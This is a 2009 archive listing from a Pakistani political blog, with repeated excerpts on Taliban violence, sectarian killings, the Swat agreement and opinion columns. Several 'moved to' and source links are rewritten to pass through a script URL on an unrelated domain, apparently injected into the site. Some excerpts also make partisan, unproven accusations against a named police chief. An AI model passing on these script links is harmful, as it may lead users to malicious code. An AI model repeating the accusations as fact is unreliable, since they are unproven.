Monthly Archive:: February 2009
Supreme Court declares Sharif brothers ineligible: Pakistan court bars opposition chief from election ISLAMABAD (AP) — Pakistan’s Supreme Court has barred opposition leader Nawaz Sharif from elected office, a move likely to raise political tensions in the country. The decision deepens a rift between Sharif,
Terrorist of Sipah-e-Sahaba arrested in Lahore. Well done Lahor Police: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/1031, click this link if you are not redirected
How then can the Taliban be defeated? by Zafar Hilaly: Taking on the Taliban Taking on the Taliban Wednesday, February 25, 2009 Zafar Hilaly The first battle of a war is psychologically an important one. Pakistan has lost not only the first battle, that for the control of Waziristan,
How then can the Taliban be defeated? by Zafar Hilaly: Taking on the Taliban Wednesday, February 25, 2009 Zafar Hilaly The first battle of a war is psychologically an important one. Pakistan has lost not only the first battle, that for the control of Waziristan, but also the second,
Kayani gets bashing by the US agencies, and the Taliban offer ceasefire. Coincidence?: Kayani visits NDUW; calls on heads of US agencies WASHINGTON: Chief of Army Staff (COAS) General Ashfaq Parvez Kayani called on Mr Robert Gates, Secretary of Defence, Admiral Michael Mullen and General George Casey. According to ISPR, General Kayani
Kayani gets bashing by the US agencies, and the Taliban offer ceasefire. Coincidence?: Kayani visits NDUW; calls on heads of US agencies WASHINGTON: Chief of Army Staff (COAS) General Ashfaq Parvez Kayani called on Mr Robert Gates, Secretary of Defence, Admiral Michael Mullen and General George Casey. According to ISPR, General Kayani
Al Qaeda / Taliban using sophisticated Web sites and sleeper cells. Some presence noticed on Pakistan related web site and blogs…: Al Qaeda was using sophisticated Web sites and sleeper cells across the Middle East, North Africa and Central Asia to enlist young fighters who are less patient or inclined to plan and carry out far-reaching global attacks and who
Al Qaeda / Taliban using sophisticated web-sites and sleeper cells. Some presence noticed on Pakistan related web site and blogs…: Al Qaeda was using sophisticated Web sites and sleeper cells across the Middle East, North Africa and Central Asia to enlist young fighters who are less patient or inclined to plan and carry out far-reaching global attacks and who
Lashkar-e-Jhangvi claims responsibility for the attack on Jan Muhammad Dashti in Quetta: (SANA News): Bloch Student Organization (BSO) Islamabad Zone will hold protests demonstration on Wed, 25 February against the attack on Secretary of Mines and Minerals Jan Muhammad Dashti here on Wednesday (today) before National Press Club Islamabad. He was
Lashkar-e-Jhangvi claims responsibility for the attack on Jan Muhammad Dashti in Quetta: (SANA News): Bloch Student Organization (BSO) Islamabad Zone will hold protests demonstration on Wed, 25 February against the attack on Secretary of Mines and Minerals Jan Muhammad Dashti here on Wednesday (today) before National Press Club Islamabad. He was
5 Shia killed, three injured in Quetta: Time to arrest Police Chief Nawabzada Humayun Jogezai who is patron-in-chief of Sipah-e-Sahaba in Quetta: Father, three sons killed, two injured in target killing in Quetta 5 Shia killed, tthree injured in Quetta: Time to arrest Police Chief Nawabzada Humayun Jogezai who is patron-in-chief of Sipah-e-Sahaba / Taliban in Quetta QUETTA, Feb 24 (APP):
Dubious role of Police Chief Nawabzada Humayun Jogezai in Shia killing in Quetta: 4 Shias Killed in Quetta QUETTA, Feb 24, 2009 (APP): Four welders, a father and his three sons were killed and their two colleagues were seriously injured when two armed assailants opened fire at them in their welding shop
Remembering Wasif Ali Wasif: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Remembering Wasif Ali Wasif: Wasif Ali Wasif (15 January 1929 – 18 January 1993) was a writer, poet and sufi from Pakistan who was famous for his unique literary style. He used to write short pieces of prose on topics such as life,
What exactly were the ex-servicemen doing while in service?: All the X-men What exactly were the ex-servicemen doing while in service? Shahzada Irfan Ahmed and Aziz Omar Air Chief Marshal (R) Asghar Khan Former Air Chief Martial Pakistan Air Force (PAF) Asghar Khan was the first politician to
What exactly were the ex-servicemen doing while in service?: All the X-men What exactly were the ex-servicemen doing while in service? Shahzada Irfan Ahmed and Aziz Omar Air Chief Marshal (R) Asghar Khan Former Air Chief Martial Pakistan Air Force (PAF) Asghar Khan was the first politician to
Militants in Swat: Can we negotiate with them from a position of weakness?: No, a thousand times no! Tuesday, 24 Feb, 2009 Taliban militants holds several men prisoner in Swat in this file photo. – Reuters YOU never negotiate from a position of weakness: not in business; not in banking; not while
Militants in Swat: Can we negotiate with them from a position of weakness?: No, a thousand times no! Tuesday, 24 Feb, 2009 Taliban militants holds several men prisoner in Swat in this file photo. – Reuters YOU never negotiate from a position of weakness: not in business; not in banking; not while
Prisoners of a jihadi past and our hall of shame: Prisoners of a jihadi past By Syed Irfan Ashraf & Faizullah JanTuesday, 24 Feb, 2009 Yeh fasl-i-gul keh jise nafroton ne seencha hay/ Agar phalee to shararon kay phool lai gee/ Na phal sakee to nai fasl-i-gul kay aane
Prisoners of a jihadi past and our hall of shame: Prisoners of a jihadi past By Syed Irfan Ashraf & Faizullah JanTuesday, 24 Feb, 2009
Pakistani Taliban united against Al Qaeda’s three enemies: “Obama, Zardari and Karzai”: Taliban’s unity and our disunity Under instructions from Mullah Umar and “sheikh” Osama bin Laden, the three feuding warlords of Waziristan have announced reconciliation and merger under the rubric of Shura Ittehad Mujahideen (SIM). Heretofore, known as the divided
SOS from Parachinar: Taliban adbuct 14 Shia in Hangua after attacking a Parachinar-bound passenger coach…: PARACHINAR: Unidentified armed men [belonging to Taliban/Al Qaeda/Sipah-e-Sahaba] first fired at the tyres of a Parachinar-bound passenger coach in the Tut Kas area on Monday and later kidnapped 14 travellers. Sources said the kidnappers left behind three women travelling
SOS from Parachinar: Taliban adbuct 14 Shia in Hangua after attacking a Parachinar-bound passenger coach…: PARACHINAR: Unidentified armed men [belonging to Taliban/Al Qaeda/Sipah-e-Sahaba] first fired at the tyres of a Parachinar-bound passenger coach in the Tut Kas area on Monday and later kidnapped 14 travellers. Sources said the kidnappers left behind three women travelling
A resident of Swat writes: What the people of Swat really wanted: What the people of Swat really wanted Tuesday, February 24, 2009 Lakhkar Khan The writer is a resident of Swat who had to flee his home and is currently living in Lahore. The Feb 16 agreement hasresulted in the
A resident of Swat writes: What the people of Swat really wanted: What the people of Swat really wanted Tuesday, February 24, 2009 Lakhkar Khan The writer is a resident of Swat who had to flee his home and is currently living in Lahore. The Feb 16 agreement hasresulted in the
Farrhat Taj responds to Shireen Mazari: FATA: some more fantasies: FATA: some more fantasies Tuesday, February 24, 2009 Farhat Taj This is in response to articles by Shireen Mazari on these pages on Feb 4 and 11. She has written that the Iranians are upset over the presence of
Farrhat Taj responds to Shireen Mazari: FATA: some more fantasies: FATA: some more fantasies Tuesday, February 24, 2009 Farhat Taj This is in response to articles by Shireen Mazari on these pages on Feb 4 and 11. She has written that the Iranians are upset over the presence of
Abdul’s Interview with The Pakistani Spectator: تعميرپاکستان The following interview was conducted by Ghazala Khan of “The Pakistani Spectator” regarding my journey as a blogger on “Let us build Pakistan”. Source: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.pakspectator.com/interview-with-blogger-abdul-of-let-us-build-pakistan/ Interview with Blogger Abdul of ‘Let us build Pakistan’ Abdul, Sarah and Paindoo
Abdul Nishapuri’s Interview with The Pakistani Spectator: تعميرپاکستان The following interview was conducted by Ghazala Khan of “The Pakistani Spectator” regarding my journey as a blogger on “Let us build Pakistan”. Source: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.pakspectator.com/interview-with-blogger-abdul-of-let-us-build-pakistan/ Interview with Blogger Abdul of ‘Let us build Pakistan’ Abdul, Sarah and Ahmer
Radio Schools for children: Well done, Radio Pakistan…: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Radio Schools for children: Well done, Radio Pakistan…: Radio Pakistan takes a revolutionary step After a three-day conference of its station directors, Radio Pakistan has decided to initiate some reforms that clearly promise to revolutionise its role in society. It has decided to launch a special project
Two divergent perspectives on the Swat deal with Taliban….: Two perspectives on the Swat agreement with Taliban. The first one is by a pro-Taliban right-wing journalist Ansar Abbasi. The second op-ed by Kamal Siddiqi offers a critical, dialectical analysis of the situation on ground. Does the Swat deal
Two divergent perspectives on the Swat deal with Taliban – by Kamal Siddiqi and Ansar Abbasi: Two perspectives on the Swat agreement with Taliban. The first one is by a pro-Taliban right-wing journalist Ansar Abbasi. The second op-ed by Kamal Siddiqi offers a critical, dialectical analysis of the situation on ground.
Report: Kidnapped UNHCR official John Solecki killed in Pakistan: Update: UNHCR official is alive: BLUFUpdated at: 1350 PST, Monday, February 23, 2009 QUETTA: The Balochistan Liberation United Front (BLUF) has denied the reports of making phone call to press club regarding killing of abducted United Nations High Commission
Taliban, Khmer Rouge and the Shining Path – By Wusatullah Khan: An interesting, thought provoking article by Wusatullah Khan, on BBC Urdu dot com, in which he compares the Taliban with Khmer Rouge of Cambodia and the Shining Path movement of Peru. کہنے کا مقصد یہ ہے۔۔۔ وسعت اللہ خانبی
Taliban, Khmer Rouge and the Shining Path – By Wusatullah Khan: An interesting, thought provoking article by Wusatullah Khan, on BBC Urdu dot com, in which he compares the Taliban with Khmer Rouge of
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